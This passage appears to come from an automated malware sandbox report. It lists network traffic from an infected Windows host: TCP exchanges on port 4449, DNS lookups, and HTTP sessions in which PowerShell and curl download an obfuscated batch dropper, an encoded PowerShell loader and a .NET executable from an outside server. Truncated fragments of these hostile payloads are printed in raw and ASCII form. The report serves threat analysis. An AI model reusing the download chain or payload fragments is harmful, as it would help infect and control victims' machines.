Jan 7, 2025 06:15:21.795778990 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:21.851543903 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:21.932615042 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:21.934622049 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:21.939402103 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:21.939445019 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:21.944318056 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:23.308618069 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:23.313402891 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:23.316704988 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:23.321543932 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:23.650151014 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:23.697758913 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:23.808018923 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:23.809715986 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:23.814743042 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:23.814789057 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:23.819597006 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:37.732754946 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:37.737673998 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:37.737744093 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:37.742579937 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:38.068250895 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:38.117168903 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:38.214286089 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:38.215949059 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:38.220762968 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:38.220828056 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:38.225636959 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:44.055012941 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:44.061392069 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:44.061455011 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:44.067737103 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:44.394542933 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:44.518940926 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:44.542287111 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:44.543644905 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:44.548466921 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:44.548537970 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:44.553380013 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:50.383179903 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:50.388011932 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:50.388101101 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:50.392925978 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:50.721498013 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:50.870592117 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:50.874778032 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:50.876132011 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:50.880914927 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:50.881001949 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:50.885832071 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:16:05.591511011 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:16:05.596455097 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:16:05.598599911 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:16:05.603569984 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:16:05.922183990 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:16:05.976474047 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:16:06.060142040 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:16:06.066159964 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:16:06.070966959 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:16:06.074600935 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:16:06.079395056 CET	4449	49742	94.130.22.61	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 06:12:28.063508987 CET	53	60840	162.159.36.2	192.168.2.6
Jan 7, 2025 06:12:28.550756931 CET	62080	53	192.168.2.6	1.1.1.1
Jan 7, 2025 06:12:28.557905912 CET	53	62080	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 06:12:28.550756931 CET	192.168.2.6	1.1.1.1	0x674c	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 06:12:28.557905912 CET	1.1.1.1	192.168.2.6	0x674c	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 7, 2025 06:13:15.072073936 CET	1.1.1.1	192.168.2.6	0x383	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 7, 2025 06:13:15.072073936 CET	1.1.1.1	192.168.2.6	0x383	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

147.45.44.131

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	147.45.44.131	80	4980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 06:11:58.761396885 CET	278	OUT	GET /infopage/wertxcp.bat HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.44.131 Connection: Keep-Alive
Jan 7, 2025 06:11:59.393201113 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 05:11:59 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 06 Jan 2025 15:17:28 GMT ETag: "1760-62b0b206762ae" Accept-Ranges: bytes Content-Length: 5984 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 40 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 74 e7 81 af 25 65 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 63 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 68 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 6f 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 20 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 6f 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 66 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 66 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 0d 0a 73 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 65 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 74 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 6c 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 6f 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 63 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 61 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 6c 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 0d 0a 0d 0a 73 25 e1 83 9a [TRUNCATED] Data Ascii: @%U`t%e%U`%c%U`%h%U`%o%U`% %U`%o%U`%f%U`%f%U`%s%U`%e%U`%t%U`%l%U`%o%U`%c%U`%a%U`%l%U`%s%U`%e%U`%t%U`% %U`%"%U`%u%U`%r%U`%l%U`%=%U`%h%U`%t%U`%t%U`%p%U`%:%U`%/%U`%/%U`%1%U`%4%U`%7%U`%.%U`%4%U`%5%U`%.%U`%4%U`%4%U`%.%U`%1%U`%3%U`%1%U`%/%U`%i%U`%n%U
Jan 7, 2025 06:11:59.393217087 CET	1236	IN	Data Raw: 60 d5 a9 d5 a1 d5 a4 d4 be 25 66 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 6f 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 70 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 61 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 Data Ascii: `%f%U`%o%U`%p%U`%a%U`%g%U`%e%U`%/%U`%s%U`%f%U`%x%U`%q%U`%r%U`%.%
Jan 7, 2025 06:11:59.393228054 CET	1236	IN	Data Raw: e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 65 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 3d 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 71 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 49 25 e1 83 9a 55 e2 92 96 60 d5 a9 Data Ascii: `%e%U`%=%U`%q%U`%I%U`%n%U`%x%U`%8%U`%F%U`%3%U`%t%U`%u%U`%J%U`%D%
Jan 7, 2025 06:11:59.393238068 CET	1236	IN	Data Raw: 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 6e 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 68 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 6d 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 70 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 Data Ascii: `%n%U`%h%U`%m%U`%p%U`%z%U`%F%U`%b%U`%2%U`%G%U`%Y%U`%q%U`%P%U`%i%
Jan 7, 2025 06:11:59.393250942 CET	1236	IN	Data Raw: d5 a1 d5 a4 d4 be 25 72 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 6f 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 66 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 69 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be Data Ascii: %r%U`%o%U`%f%U`%i%U`%l%U`%e%U`% %U`%-%U`%E%U`%x%U`%e%U`%c%U`%u%U
Jan 7, 2025 06:11:59.393260002 CET	109	IN	Data Raw: 60 d5 a9 d5 a1 d5 a4 d4 be 25 6c 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 6f 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 63 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 a4 d4 be 25 61 25 e1 83 9a 55 e2 92 96 60 d5 a9 d5 a1 d5 Data Ascii: `%l%U`%o%U`%c%U`%a%U`%l%U`%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	147.45.44.131	80	6684	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 06:11:59.766478062 CET	195	OUT	GET /infopage/sfxqr.ps1 HTTP/1.1 Host: 147.45.44.131 User-Agent: curl/7.83.1 Accept: / X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Jan 7, 2025 06:12:00.416176081 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 05:12:00 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 06 Jan 2025 15:15:53 GMT ETag: "5cf6-62b0b1ac1f4e5" Accept-Ranges: bytes Content-Length: 23798 Data Raw: 0d 0a 24 35 6f 69 62 52 5a 53 79 7a 6f 6f 4f 50 77 67 65 6e 62 33 48 34 79 73 4e 55 55 6c 55 38 41 31 49 4c 55 51 75 68 66 75 59 6e 65 33 33 62 6e 35 4e 56 57 79 54 6d 76 49 48 35 56 48 36 78 37 30 7a 78 67 43 35 67 76 36 49 71 66 65 61 34 7a 77 72 59 59 39 6c 4c 68 66 61 4c 4a 7a 4d 59 78 6c 71 6e 45 46 34 6b 41 72 6a 61 70 6d 48 52 72 4d 46 6a 5a 69 5a 37 50 6e 50 42 6d 74 58 35 75 75 33 33 79 77 7a 75 31 48 59 71 5a 4c 66 34 58 4a 64 37 75 6e 38 50 4d 73 59 62 30 33 37 52 54 6f 70 35 74 4e 63 35 57 56 72 53 4a 73 68 45 48 55 6e 64 50 61 4c 48 77 6f 72 46 59 59 34 37 4a 47 58 76 66 6b 4c 4b 71 69 6b 59 35 71 46 65 4b 55 55 66 51 65 43 33 63 69 49 45 66 58 68 37 62 75 4a 43 55 77 6a 67 4a 63 78 71 7a 77 4c 47 69 4e 34 44 45 59 71 6f 45 64 53 36 62 47 6f 54 42 6e 37 4b 67 43 4a 59 76 78 56 78 72 56 44 71 57 43 67 53 63 64 33 43 44 65 37 31 64 6d 45 43 79 64 6f 4d 79 42 6a 67 45 67 53 51 43 33 37 74 5a 6d 6a 5a 6b 57 30 69 74 35 47 43 45 53 35 49 73 54 39 4e 71 31 31 56 64 39 4e 36 4b 6d 39 4b 68 4f [TRUNCATED] Data Ascii: $5oibRZSyzooOPwgenb3H4ysNUUlU8A1ILUQuhfuYne33bn5NVWyTmvIH5VH6x70zxgC5gv6Iqfea4zwrYY9lLhfaLJzMYxlqnEF4kArjapmHRrMFjZiZ7PnPBmtX5uu33ywzu1HYqZLf4XJd7un8PMsYb037RTop5tNc5WVrSJshEHUndPaLHworFYY47JGXvfkLKqikY5qFeKUUfQeC3ciIEfXh7buJCUwjgJcxqzwLGiN4DEYqoEdS6bGoTBn7KgCJYvxVxrVDqWCgScd3CDe71dmECydoMyBjgEgSQC37tZmjZkW0it5GCES5IsT9Nq11Vd9N6Km9KhOb1CpbcnGc34gbwkJit3tCiuO5kI4XH55f01EGD1hkkY7a6ibVBEQRxL2Gxt1TssV89Bk4gDf1WJcJxy9CqiWCposo88STAN11D9b57gz7jY4nstT9uynJVSTUT66iuL1JSkGxWDEJtZdQuE5OoSiLkrfupGmBkQMXgvVInfmqudZ6zCkOAr3cnqjkEVHPb = 'qjOH2>27sLy#gHVquncB#b32!O3DVcbSz%(31WskOH354ShWlfk1ECzHga%6_3X4Wt3PZ8PY%85t>>s2go@$vOwP9Xad7lh5>iLkS)zPM7LPkhcWEoPh#xfG_ll@Ica_vm9Hjj!w1!CgUZ@=H3=SXH71eShOaRy4@!(pOqEa7L9cv1Mv$8afIxn0HzQCwWkLTrak^e^N%$m)>Z4nUoieXZ2TXQhlZB0lwxIEbx2j^NmRLq23(y4H9F9@GNy)e9$MAWWQ0Mt8_kK8kH3kzpxTtyq!OOUkDmlZvEKUgmQlKV9qz'$i0MpHo12TBH7rNYIx2QIx6JuBysYGI2Xdd3dFMLUdKC82jP1k9xMks3mqcoT5dwLIteOT5Dkr5on3L1bi1xGUqxujRwmi1ZAY1zIEAho6MfoEQsflMuDpp1c6upCJaCzgnPCWtWiUIKHLJpSjQBVHVUsAWMUVeffKpHaBpJ10 [TRUNCATED]
Jan 7, 2025 06:12:00.416213036 CET	1236	IN	Data Raw: 43 39 68 43 4d 7a 6e 6f 37 66 42 4f 52 33 47 4a 66 35 6d 78 4d 51 46 5a 50 39 42 6d 46 64 37 36 48 65 6e 4b 54 78 39 33 33 31 77 76 75 30 45 6b 76 50 4b 77 69 67 55 76 34 48 77 4d 78 41 69 64 69 46 48 78 50 36 30 73 35 74 33 56 65 54 6f 59 35 62 Data Ascii: C9hCMzno7fBOR3GJf5mxMQFZP9BmFd76HenKTx9331wvu0EkvPKwigUv4HwMxAidiFHxP60s5t3VeToY5b00SLXlJ1PLAxF2SSNptQUzZc0zm9RlcYRWKsKWrgoYrorInACMF9poHBbzVi8JkosmgtskH07Nm5HvvrLl6FfdsmOIRUBJheyD5Em4ScEOCcBL4pEnWXNeIP33ekTwzypIHE0rFRTeARaQkDOlQXwJQT4pKsZrJRY
Jan 7, 2025 06:12:00.416224003 CET	1236	IN	Data Raw: 51 34 74 73 50 54 4a 43 7a 58 65 30 70 6e 72 61 6b 77 38 34 38 55 64 61 6b 36 4e 35 44 6b 6f 39 59 50 46 4d 70 6a 6d 68 30 43 72 62 66 6f 30 5a 49 44 52 58 58 71 4f 35 61 54 49 54 46 4f 39 4f 74 66 62 5a 68 66 76 41 4a 61 45 36 6e 43 34 36 46 79 Data Ascii: Q4tsPTJCzXe0pnrakw848Udak6N5Dko9YPFMpjmh0Crbfo0ZIDRXXqO5aTITFO9OtfbZhfvAJaE6nC46Fyw9SQmrBKvWbTcmDcs9Ma1nSQO6mSSYYMNRbA6c3tYXtZjz8c3KT4tp7JqBCpFt1X7OFLLCgQGdCd43rY8KYIFediTRT4aNoogWbUtxR0oDyQmdOwUnr5UtRcvh13tl02zX7ibWpK2ieBqN5 = '2r0mAlBPkJaP5H
Jan 7, 2025 06:12:00.416234970 CET	1236	IN	Data Raw: 4a 75 4f 46 5a 48 43 43 4d 76 4c 6a 6b 4f 4a 42 56 77 43 47 67 32 44 52 51 66 50 56 49 48 4a 41 38 32 63 44 67 7a 45 69 52 51 4a 56 59 6d 42 6b 5a 63 5a 77 67 6a 4c 79 34 35 44 69 51 56 58 54 39 46 63 6b 77 4c 56 78 4e 55 43 44 4d 69 49 7a 30 4f Data Ascii: JuOFZHCCMvLjkOJBVwCGg2DRQfPVIHJA82cDgzEiRQJVYmBkZcZwgjLy45DiQVXT9FckwLVxNUCDMiIz0OalxwFxBVOxNXEVkMLUEKNQouBCIXRXJMC1cTVAgzOiM8Hi9BbRVqCSENSkp2XjUZCBQjEgYfcC4oIglQE1kdGA0RFVonDjJ/eiE6Gl1AQgcPCywGLyIrJlA+NlAxABlFVS48ARIEJAk9RTI+ClF1K0E9KCAqGhpob
Jan 7, 2025 06:12:00.416244984 CET	1236	IN	Data Raw: 4a 70 41 72 74 6f 50 76 75 67 37 32 30 7a 41 56 79 75 6f 57 30 46 61 6e 36 69 51 4b 4b 4b 72 38 79 43 4e 6d 6a 37 75 56 4c 36 30 72 73 4f 6d 66 65 7a 44 37 34 5a 30 45 4f 57 75 4b 58 46 6b 6a 79 38 44 78 6d 58 76 31 39 54 4b 33 4f 73 35 73 35 76 Data Ascii: JpArtoPvug720zAVyuoW0Fan6iQKKKr8yCNmj7uVL60rsOmfezD74Z0EOWuKXFkjy8DxmXv19TK3Os5s5vpVGuDYLIXMMj7GVR3tLz2HDM7lP7zgbCPmaPdD4ple9joZVEh7zLgG2iS4xbJOT1uJUUqGx0yfNYHdiiQLZ1qQfIu16jQcfWKHyeEAXbJ9XB2eayVOL8zbLenMkyJOjV91N9oDdPx8 ($DhkwgsUwE9jM5YHCN5aP
Jan 7, 2025 06:12:00.416254997 CET	1236	IN	Data Raw: 6c 32 69 72 52 35 67 53 46 6c 30 42 39 79 63 44 4e 35 50 43 74 47 59 4b 59 6d 47 67 33 75 36 4b 33 4a 79 54 6b 43 4f 57 78 49 47 73 4a 65 30 79 70 33 5a 67 78 6c 43 65 65 58 53 70 79 39 59 56 70 70 48 30 39 49 64 4b 71 32 50 6c 39 71 42 34 76 53 Data Ascii: l2irR5gSFl0B9ycDN5PCtGYKYmGg3u6K3JyTkCOWxIGsJe0yp3ZgxlCeeXSpy9YVppH09IdKq2Pl9qB4vS09VZXRGTzMujiytvDeWAygaOz4WbfyWY3fIY9PS0tpTQaHUa1NmghueUjGkc5pyA0VpDpUvyLgRINKxrk5kRLz1JAyz3o04E1SaEcQvhcyUAdWHZS219FgzAegC0e2JVlNQ4tsPTJCzXe0pnrakw848Udak6N5Dko
Jan 7, 2025 06:12:00.416265965 CET	1236	IN	Data Raw: 53 73 4c 34 64 74 6e 31 58 58 4f 68 35 5a 4d 49 75 67 52 55 61 4d 54 41 66 30 6d 48 37 6d 62 44 6f 77 6c 32 69 72 52 35 67 53 46 6c 30 42 39 79 63 44 4e 35 50 43 74 47 59 4b 59 6d 47 67 33 75 36 4b 33 4a 79 54 6b 43 4f 57 78 49 47 73 4a 65 30 79 Data Ascii: SsL4dtn1XXOh5ZMIugRUaMTAf0mH7mbDowl2irR5gSFl0B9ycDN5PCtGYKYmGg3u6K3JyTkCOWxIGsJe0yp3ZgxlCeeXSpy9YVppH09IdKq2Pl9qB4vS09VZXRGTzMujiytvDeWAygaOz4WbfyWY3fIY9PS0tpTQaHUa1NmghueUjGkc5pyA0VpDpUvyLgRINKxrk5kRLz1JAyz3o04E1SaEcQvhcyUAdWHZS219FgzAegC0e2J
Jan 7, 2025 06:12:00.416276932 CET	1000	IN	Data Raw: 4d 53 34 69 4f 71 77 4a 46 78 37 4b 44 6b 72 43 76 34 31 37 76 4b 54 68 6f 78 65 59 30 59 59 56 39 63 30 4e 79 30 6d 69 5a 46 46 35 65 76 68 48 6d 4f 78 35 76 68 57 42 39 57 33 61 4c 59 53 71 59 6c 4b 6b 20 3d 20 5b 43 6f 6e 76 65 72 74 5d 3a 3a Data Ascii: MS4iOqwJFx7KDkrCv417vKThoxeY0YYV9c0Ny0miZFF5evhHmOx5vhWB9W3aLYSqYlKk = [Convert]::FromBase64String($DhkwgsUwE9jM5YHCN5aPgqV78gCvPQwilBzMBDWGDLecwcPebbyuwqTXMmy9qihxMBl3i5BKiULVM2LfRhUxcCv4scAYOXaenqQv1V6gaoLbe8KTbTrIOtVKPqLF5n5L4rrflZn6lyXx0UZ
Jan 7, 2025 06:12:00.416287899 CET	1236	IN	Data Raw: 38 45 32 70 68 73 6f 6b 33 39 4f 41 72 65 78 45 29 0d 0a 20 20 20 20 24 65 4f 34 53 54 69 70 46 58 43 32 51 58 77 6d 6c 64 6b 63 47 7a 4e 62 37 4c 58 41 78 59 68 33 6c 36 58 49 39 32 6d 63 38 71 36 6c 55 41 4b 78 6d 71 46 35 42 72 65 34 51 77 37 Data Ascii: 8E2phsok39OArexE) $eO4STipFXC2QXwmldkcGzNb7LXAxYh3l6XI92mc8q6lUAKxmqF5Bre4Qw7G5h2q0JRT9nms1Iea2mG6BjYHTm13cd2N5fgaxQvLs1y8DWD2NDBnqAFVJvXORY0gvZxVmDmm15NKvZD6i9pZbOg4aKQC2g3UASNnisQJaZwux5juraqSsbEh235bwktUB3JdMaXzsg8CbwGelgVc0lljNpvpxzW0
Jan 7, 2025 06:12:00.416299105 CET	1236	IN	Data Raw: 70 6d 6d 57 52 67 70 35 72 58 62 7a 4e 4d 45 67 77 39 62 4a 49 33 66 50 36 37 48 31 39 73 52 38 42 47 35 47 4f 64 41 4d 62 53 55 44 79 59 76 63 4b 62 30 64 66 6e 41 76 48 58 5a 55 59 79 36 38 47 64 78 48 51 37 52 53 38 4f 73 7a 69 63 61 69 4d 70 Data Ascii: pmmWRgp5rXbzNMEgw9bJI3fP67H19sR8BG5GOdAMbSUDyYvcKb0dfnAvHXZUYy68GdxHQ7RS8OszicaiMpqh2xcXGJ91EqymVV6VkoMNKieQ5KMo60HtHZGTAZAG8aNSaFdNfE7icdXUSMc57U4NiFf6PnULnFPtUM00r9I13jQoCwAy7EJngAtVjh72tw4WOn9FVlO7MCU8y14cmgNi6mMUdeRJBPIHo3aYw4cV0LaequhsmeQ
Jan 7, 2025 06:12:00.421998978 CET	1236	IN	Data Raw: 70 41 62 68 43 30 38 47 72 59 74 75 53 70 4b 4f 6e 6c 32 55 71 77 69 4a 78 61 59 46 41 4d 49 73 38 33 33 63 38 68 38 49 36 48 4e 5a 47 4b 38 57 77 45 48 32 44 43 53 33 62 53 75 6d 63 33 47 65 51 41 77 5a 77 72 51 46 6e 75 58 6a 6a 49 43 6d 62 43 Data Ascii: pAbhC08GrYtuSpKOnl2UqwiJxaYFAMIs833c8h8I6HNZGK8WwEH2DCS3bSumc3GeQAwZwrQFnuXjjICmbCT5FPo6kAAqxWpDBsJFYjjEyBPTosTSPHKakKZAVzyvrjSQEUi196O2cOHDAVS1qsbqLOd0SJtiuyXOt8OUKcTS2S8VDW99h6F9IlF01 = 0; $8Lci5gxfX8B0ZKrOeTXAekl95aSCo1ducxggqJObYO6yvZnlDgr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	147.45.44.131	80	4016	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 06:12:02.247064114 CET	181	OUT	GET /infopage/grwsx.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131 Connection: Keep-Alive
Jan 7, 2025 06:12:02.892477036 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 05:12:02 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 06 Jan 2025 15:14:03 GMT ETag: "8a00-62b0b14360f58" Accept-Ranges: bytes Content-Length: 35328 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 71 e2 4e b4 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 86 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 18 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELqN"0 @ `4O H.text `.rsrc@@.reloc@BhH!`}0H(oi+%a ]ai]Xi]Xi20(((o(0rpssor>sp~(o&or`sp~(o&o%~(oorsp~(orsp~(oo&((((j(
Jan 7, 2025 06:12:02.892502069 CET	1236	IN	Data Raw: 0a 72 ce 73 00 70 28 11 00 00 0a 6f 12 00 00 0a 80 01 00 00 04 2a 42 53 4a 42 01 00 01 00 00 00 00 00 0c 00 00 00 76 34 2e 30 2e 33 30 33 31 39 00 00 00 00 05 00 6c 00 00 00 34 03 00 00 23 7e 00 00 a0 03 00 00 34 04 00 00 23 53 74 72 69 6e 67 73 Data Ascii: rsp(o*BSJBv4.0.30319l4#~4#Stringst#US{#GUID{t#BlobW3PPpp
